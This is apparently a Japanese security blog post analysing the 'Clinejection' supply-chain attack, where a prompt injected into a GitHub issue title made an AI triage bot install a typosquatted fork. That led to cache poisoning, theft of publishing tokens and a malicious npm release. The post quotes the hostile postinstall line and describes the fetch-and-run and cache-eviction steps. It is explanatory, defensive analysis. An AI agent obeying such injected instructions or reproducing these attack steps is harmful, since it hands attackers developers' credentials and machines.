Clinejection: GitHubイシュータイトルから4000台の開発マシンにAIエージェントが降ってきた攻撃の全容
2026年2月17日、cline@2.3.0 が npm に公開された。CLIバイナリは前バージョンと完全に同一。変わったのは package.json に追加された1行だけだった。
"postinstall": "npm install -g openclaw@latest"
その後8時間で、Clineをインストールまたはアップデートした約4000人の開発者マシンに、OpenClawというAIエージェントがユーザーの同意なくグローバルインストールされた。Snykはこの攻撃チェーンを「Clinejection」と命名している。
注目すべきはペイロード(悪意あるコード本体)ではない。攻撃者がどうやって npm トークンを入手したかだ。GitHubのイシュータイトルにプロンプトを埋め込み、AIトリアージbotにそれを命令として解釈・実行させることで、CI/CDパイプラインの認証情報を丸ごと持ち出した。
従来のnpmサプライチェーン攻撃との違い
「結局バックドア仕込んだだけでは?」という疑問はもっともだ。実際、npmのサプライチェーン攻撃には長い歴史がある。
| 攻撃パターン | 侵入経路 | 代表的な事例 |
|---|---|---|
| メンテナアカウント乗っ取り | npmアカウントの認証情報を窃取し、正規パッケージに悪意あるバージョンを公開 | ua-parser-js(2021年)。週700万DLのパッケージに暗号通貨マイナーと認証情報窃取トロイが仕込まれた |
| ソーシャルエンジニアリング | メンテナの信頼を得てリポジトリの管理権限を譲渡させる | event-stream(2018年)。攻撃者が善意のコントリビュータを装い管理権限を取得。Copayウォレットのビットコインを標的にした |
| タイポスクワッティング(名前を似せた偽パッケージの手口) | 正規パッケージに似た名前のパッケージを公開し、タイプミスによるインストールを狙う | crossenv(2017年)。cross-envの偽物で環境変数を外部送信 |
| 依存関係の混乱(Dependency Confusion) | 企業の内部パッケージと同名のパッケージを公開レジストリに登録し、パッケージマネージャの優先度設定を悪用 | Alex Birsanの開示(2021年)。Apple、Microsoft、Teslaなど35社以上に侵入 |
| メンテナ自身による改変 | パッケージ作者が意図的に悪意あるコードを混入 | node-ipc(2022年)。ロシア・ウクライナ戦争に抗議してファイル破壊コードを挿入 |
| Clinejection | AIエージェントへのプロンプトインジェクション経由でCI/CDの認証情報を窃取 | Cline(2026年)。イシュータイトル1行で5段階の攻撃チェーンが起動 |
従来の攻撃はすべて「人間を騙す」か「人間の認証情報を盗む」ことで始まる。Clinejectionが根本的に異なるのは、攻撃の起点が人間ではなくAIエージェントである点だ。GitHubのイシューを1件開くだけで、AIが自律的にコードを実行し、キャッシュを汚染し、認証情報を持ち出す。人間のメンテナは攻撃チェーンのどのステップにも関与していない。
5段階の攻撃チェーン
flowchart TD
A["Step 1<br/>攻撃者がGitHubイシューを作成<br/>タイトルにプロンプトを埋め込む"] --> B["Step 2<br/>claude-code-action が起動<br/>タイトルを命令として解釈し<br/>攻撃者のフォークから npm install 実行"]
B --> C["Step 3<br/>preinstallスクリプトが Cacheract を展開<br/>10GB超のジャンクで正規キャッシュを追い出し<br/>汚染エントリを設置"]
C --> D["Step 4<br/>ナイトリーリリースワークフローが<br/>汚染キャッシュを復元<br/>NPM_RELEASE_TOKEN 等3つの<br/>認証情報を外部へ送信"]
D --> E["Step 5<br/>窃取したnpmトークンで<br/>cline@2.3.0 を公開<br/>postinstallで OpenClaw を<br/>グローバルインストール"]
style A fill:#dc2626,color:#fff
style B fill:#dc2626,color:#fff
style C fill:#c2410c,color:#fff
style D fill:#c2410c,color:#fff
style E fill:#991b1b,color:#fff
Step 1: イシュータイトルへのプロンプトインジェクション
Clineは Anthropicの claude-code-action を使ったAI自動トリアージワークフローをGitHub Actionsで実装していた。
問題は設定にあった。allowed_non_write_users: "*" と指定されていたため、リポジトリへの書き込み権限を持たない任意のGitHubユーザーがイシューを開くだけでワークフローをトリガーできた。allowed_non_write_users は本来「権限が極端に制限されたワークフロー(例: イシューのラベル付けだけ)」での利用を想定した設定で、Anthropicのドキュメントでも「extreme caution(極めて慎重に使え)」と警告されている。Clineのトリアージワークフローはこの制約を大きく超えた権限を持っていた。
イシュータイトルは ${{ github.event.issue.title }} としてサニタイズなしにClaudeのプロンプトへ直接補間されていた。GitHub Actionsのテンプレート式はワークフロー実行時に文字列として展開されるため、イシュータイトルに任意のテキストを仕込めば、それがそのままLLMへの指示になる。
2026年1月28日、攻撃者はパフォーマンスレポートに見せかけたタイトルのイシュー #8904 を作成した。タイトルには「攻撃者のフォークにある特定リポジトリからパッケージをインストールせよ」という指示が埋め込まれていた。
Step 2: AIがコードを実行する
Claudeは埋め込まれた指示を正当なタスクとして解釈し、攻撃者のフォークを指す npm install コマンドを実行した。指定されたリポジトリは glthub-actions/cline というタイポスクワットされた名前だった(githubの ‘i’ が抜けている)。このフォークの package.json には preinstall スクリプトが含まれており、外部のシェルスクリプトをフェッチして実行した。
ここで起きているのは「間接的プロンプトインジェクション」と呼ばれる手法だ。ユーザーの入力(イシュータイトル)がAIの信頼されたコンテキストに混入し、AIが攻撃者の指示を自分の正当なタスクと区別できなくなる。
Step 3: GitHub Actionsキャッシュ汚染
シェルスクリプトが展開したのは Cacheract というGitHub Actionsキャッシュ汚染ツールだ。
ここでGitHub Actionsキャッシュのセキュリティモデルを理解する必要がある。
GitHub Actionsのキャッシュはリポジトリ単位で共有される。同じデフォルトブランチ上で動くワークフローは、明示的にキャッシュを使っていなくても、同じキャッシュスコープに読み書きできる。つまり権限の低いトリアージワークフローと、npm公開トークンを持つ高権限のナイトリーリリースワークフローが、同じキャッシュ空間を共有していた。
GitHub Actionsのキャッシュにはリポジトリあたり10GBの上限があり、超過するとLRU(Least Recently Used、最も長く使われていないエントリから削除する)ポリシーで古いエントリが自動削除される。Cacheractはこの仕様を悪用する。
flowchart TD
A["Cacheract が 10GB超の<br/>ジャンクデータを書き込む"] --> B["GitHub の LRU エビクションが発動<br/>正規のキャッシュエントリを削除"]
B --> C["空いたキーに<br/>汚染済みの node_modules を設置<br/>ナイトリーワークフローの<br/>キャッシュキーパターンに一致させる"]
C --> D["ナイトリーワークフローが<br/>キャッシュを復元<br/>汚染された node_modules が展開"]
style A fill:#c2410c,color:#fff
style B fill:#c2410c,color:#fff
style C fill:#991b1b,color:#fff
style D fill:#991b1b,color:#fff
Cacheractの動作を整理する。
| ステップ | 動作 | 利用する仕様 |
|---|---|---|
| キャッシュ溢れ | 10GB超のジャンクデータを書き込む | GitHub Actionsのキャッシュ上限(10GB/リポジトリ) |
| 正規エントリの追い出し | LRUエビクションで正規キャッシュが削除される | GitHubの自動キャッシュ管理ポリシー |
| 汚染エントリの設置 | ナイトリーワークフローが使うキャッシュキーパターンに一致するエントリを作成 | キャッシュスコープがワークフロー間で共有される仕様 |
| 永続化 | actions/checkout のポストステップを乗っ取り、新しいキャッシュエントリにも自身を注入 | キャッシュ復元後のファイルシステム上で任意ファイルを書き換え可能な仕様 |
GITHUB_TOKENに actions: write 権限がある場合、Cacheractは元のキャッシュエントリをダウンロードし、汚染ペイロードを追加し、元エントリを削除して再アップロードする。キャッシュエントリはzstd圧縮アーカイブなので、復元時にそのまま展開される。
Step 4: 認証情報の窃取
ナイトリーリリースワークフローが実行されると、キャッシュからnode_modulesが復元される。このとき展開されるのは汚染済みのバージョンだ。ワークフローには以下の3つの認証情報が環境変数として設定されていた。
| 認証情報 | 用途 |
|---|---|
| NPM_RELEASE_TOKEN | npmレジストリへのパッケージ公開 |
| VSCE_PAT | VS Code Marketplaceへの拡張機能公開 |
| OVSX_PAT | OpenVSXレジストリへの拡張機能公開 |
汚染されたnode_modules内のスクリプトがこれらを外部サーバーへ送信した。
Step 5: 悪意あるパッケージの公開
窃取したnpmトークンを使い、攻撃者はOpenClawの postinstall フックを仕込んだ cline@2.3.0 を公開した。公開アカウントは “clinebotorg” で、正規のCI/CDパイプラインを経由せず手動で公開された。
公開から約14分後にStepSecurityの自動監視がこれを検知した。StepSecurityのArtifact Monitorはリリースパターンの追跡、プロベナンス(来歴証明)の検証、通常と異なるチャネルからの公開を監視しており、今回は「プロベナンスアテステーションが付いていない」「通常のCI/CDパイプライン外からの公開」という2つの異常を検出した。しかしパッケージが非推奨化されるまでの8時間で約4000件のダウンロードが発生した。
OpenClawが何をできるエージェントだったのか
OpenClaw自体は正規のオープンソースプロジェクトで、マルウェアではない。しかし問題は、このエージェントが持つ権限の広さだ。
OpenClawはGatewayと呼ばれるプロセスを中心としたハブ・アンド・スポークアーキテクチャを採用している。Gatewayはバックグラウンドデーモンとして動作し、macOSではLaunchAgent、LinuxではsystemdのサービスとしてOS起動時に自動的に立ち上がる。デフォルトで30分ごとにハートビートを送信し、ワークスペース内の HEARTBEAT.md を読み取って自律的にタスクを実行する。
flowchart LR
A["OpenClaw Gateway<br/>(永続デーモン)"] --> B["シェルコマンド実行<br/>(bashツール経由)"]
A --> C["ファイル読み書き"]
A --> D["Web ブラウジング"]
A --> E["12以上のメッセージング<br/>プラットフォーム接続<br/>WhatsApp, Telegram,<br/>Slack, Discord 等"]
A --> F["API呼び出し"]
style A fill:#991b1b,color:#fff
開発者が意図的にインストールした場合は、サンドボックスモードでシェルアクセスやファイル書き込みを制限できる。しかし postinstall 経由でグローバルインストールされた場合、ユーザーはこの設定プロセスを一切経ていない。デフォルトのフルアクセスモードで動作し、シェルコマンドの実行、ファイルシステムへのアクセス、ブラウザの制御がすべて可能な状態になる。
Endor Labs はペイロードを「PoCに近い」と評価したが、問題は今回の実害ではなくこの構造だ。
混乱した代理人問題
Clinejectionは「混乱した代理人(Confused Deputy)」問題の教科書的な事例だ。
混乱した代理人問題は1988年にNorm Hardyが提唱したセキュリティの概念で、正当な権限を持つプログラム(代理人)が、権限のない第三者に騙されて自身の権限を悪用させられる状況を指す。古典的な例は、コンパイラが自身の書き込み権限を使ってユーザーが本来アクセスできないシステムファイルを上書きさせられるケースだ。CSRFやクリックジャッキングもこの問題の一種にあたる。
Clinejectionでは、開発者がClineに「代理人」としての権限を与えている。Clineはnpmパッケージの公開トークンを持ち、VS Code Marketplaceへの公開権限を持つCI/CDパイプラインの一部として動作している。攻撃者はClineのAIトリアージbot(代理人)を騙して、開発者が評価も設定も同意もしていないOpenClaw(別のエージェント)にその権限を委譲させた。
flowchart LR
A["開発者"] -->|"信頼を付与"| B["Cline<br/>(代理人)"]
B -->|"プロンプトインジェクションで<br/>権限を委譲"| C["OpenClaw<br/>(未承認エージェント)"]
D["攻撃者"] -->|"イシュータイトルで指示"| B
style B fill:#c2410c,color:#fff
style C fill:#991b1b,color:#fff
style D fill:#dc2626,color:#fff
AIエージェントが普及するほど、この「信頼の連鎖が切れる」パターンは深刻になる。人間のメンテナは騙されたことに気づけるが、AIエージェントはプロンプトに含まれた指示とユーザーの正当な指示を区別する能力を持たない。
発見から悪用までのタイムライン
| 日付 | 出来事 |
|---|---|
| 2025年12月下旬 | セキュリティ研究者 Adnan Khan がこの脆弱性チェーン全体を発見 |
| 2026年1月1日 | Khan が GitHub Security Advisory を提出 |
| 1月〜2月上旬 | 5週間にわたり複数回フォローアップするも Cline チームから返答なし |
| 1月28日 | 攻撃者がイシュー #8904 を作成(プロンプトインジェクションの実行) |
| 2月9日 | Khan が脆弱性を公開開示 |
| 2月9日(30分後) | Cline がAIトリアージワークフローを削除するパッチを適用 |
| 2月10日 | 認証情報のローテーションを開始。しかし誤ったトークンを削除し、漏洩済みのトークンを有効なまま残す |
| 2月11日 | ミスに気づき再ローテーションを実施 |
| 2月17日 03:26 PT | 攻撃者が窃取済みのnpmトークンで cline@2.3.0 を公開 |
| 2月17日 03:40 PT | StepSecurity が異常を検出 |
| 2月17日 11:23 PT | Cline が 2.4.0 を公開、2.3.0 を非推奨化、トークンを失効 |
Khan は攻撃者ではない。別の未知の攻撃グループがKhanの公開PoCを発見し、Clineに対して直接武器化した。Khanのテストリポジトリで公開されていた手法をそのまま再現した形だ。
既存の防御策が機能しなかった理由
| 防御策 | なぜ効かなかったか |
|---|---|
| npm audit | OpenClaw自体は「正当な」パッケージとして公開されており、マルウェアとして報告されていない |
| コードレビュー | CLIバイナリは前バージョンと完全に同一。変更は package.json の1行だけで、バイナリ差分に注目したチェックでは見逃す |
| パーミッションプロンプト | postinstall フックは npm install の処理内で実行される。AIコーディングツールが依存パッケージのライフサイクルスクリプト実行前にユーザーへ確認を求めることはない |
npmプロベナンスアテステーションがあれば止められた
Clineは当時、npmのプロベナンスアテステーション(来歴証明)を使っていなかった。長期有効な手動トークンだけでパッケージを公開できる状態だった。
npmプロベナンスアテステーションの仕組みを整理する。
flowchart TD
A["GitHub Actions ワークフローが<br/>npm publish を実行"] --> B["CI環境が OIDC トークンを発行<br/>(ワークフローのIDと紐付く<br/>短命な認証情報)"]
B --> C["Sigstore の Fulcio CA に<br/>OIDC トークンを送信"]
C --> D["Fulcio が短命な<br/>X.509署名証明書を発行<br/>(CIジョブのIDに紐付く)"]
D --> E["使い捨てキーペアで<br/>プロベナンス声明に署名"]
E --> F["署名とプロベナンスが<br/>Sigstore の透明性ログに記録"]
F --> G["npmレジストリに<br/>プロベナンス付きで公開"]
| 要素 | 従来のnpmトークン | OIDCプロベナンスアテステーション |
|---|---|---|
| トークンの寿命 | 手動で失効するまで有効(数ヶ月〜数年) | 特定の公開操作のみ有効(数分) |
| 公開元の証明 | なし。トークンがあれば誰でもどこからでも公開可能 | 特定のGitHub Actionsワークフローからの暗号証明が必須 |
| 改ざん検出 | なし | Sigstoreの透明性ログで公開記録が検証可能 |
| 窃取された場合 | トークン単独で公開可能 | トークン単独では公開不可。CI環境のOIDCトークンも必要 |
プロベナンスが有効だった場合、攻撃チェーンはStep 5で止まる。攻撃者がnpmトークンを窃取しても、正規のGitHub Actionsワークフローから発行されるOIDCトークンがなければパッケージを公開できない。StepSecurityが「プロベナンスの欠如」を異常として検出できたのも、この仕組みが標準化されつつあるからだ。
Clineの事後対応
Clineが公開した post-mortem の対応策は以下の通り。
| 対応 | 内容 |
|---|---|
| キャッシュ利用の廃止 | 認証情報を扱うワークフローからGitHub Actionsキャッシュの使用を削除 |
| OIDCプロベナンス移行 | npm公開にOIDCベースのプロベナンスアテステーションを採用し、長期トークンを廃止 |
| ローテーション確認 | 認証情報ローテーションに確認要件を追加(誤ったトークンを削除するミスの再発防止) |
| 脆弱性開示プロセス | SLA付きの開示プロセスを整備中(Khanの報告を5週間放置した反省) |
| 外部監査 | CI/CDインフラのサードパーティセキュリティ監査を委託 |
AIエージェントのサプライチェーンを狙う攻撃の連鎖
Clinejectionは単独の事件ではない。2026年初頭、AIエージェントのエコシステム全体が攻撃面として急速に拡大している。
Clinejectionで4000台のマシンにインストールされたOpenClaw自体も、別の攻撃の踏み台になっている。TrendAI Researchの分析では、OpenClawのスキルマーケットプレイス「ClawHub」に悪意あるSKILL.mdを仕込み、AIエージェントを経由してmacOS情報窃取マルウェアAMOS(Atomic macOS Stealer)を配布する手法が確認された。Clinejectionで意図せずOpenClawをインストールした開発者が、さらにClawHub上の悪性スキルに曝される多段構造だ。詳細はAIエージェントを踏み台にするAMOS、OpenClaw SKILL.mdを経由したmacOS感染チェーンで書いた。
同時期に claud-code、cloude-code 等のタイポスクワッティングを含む19の悪性npmパッケージがClaude Code、Cursor、VS Codeユーザーを標的にSSHキーやnpmトークンを窃取する「SANDWORM_MODE」キャンペーン(一連の攻撃活動)も発生している。Clinejectionがプロンプトインジェクション→キャッシュ汚染→トークン窃取という多段攻撃なのに対し、SANDWORM_MODEは名前を似せた偽パッケージという古典的な手口だが、どちらもAI開発ツールのユーザーを狙っている点は共通している。
AIエージェントへのメモリ注入攻撃(SOUL.mdやMEMORY.mdへのバックドア書き込み)についてはAIエージェントのメモリ注入攻撃とEVMbenchによるスマートコントラクト自動悪用、GitHubの機能を悪用したサプライチェーン攻撃はGitHub Repo Squatting攻撃でも取り上げている。
Cline固有の問題ではない
Clinejectionは Cline 固有の問題ではない。イシュー、PR、コメントという形で届く非信頼入力をAIエージェントが処理し、そのエージェントがシークレットや認証情報へのアクセスを持つ構造は、現在のAI開発ツールに広く存在する。
攻撃に必要だったのはGitHubアカウントひとつとイシュータイトル1行だけだった。ゼロデイも、フィッシングも、ソーシャルエンジニアリングもいらない。AIエージェントがCI/CDパイプラインの一部として動く限り、テキスト入力がコード実行になるリスクは常にある。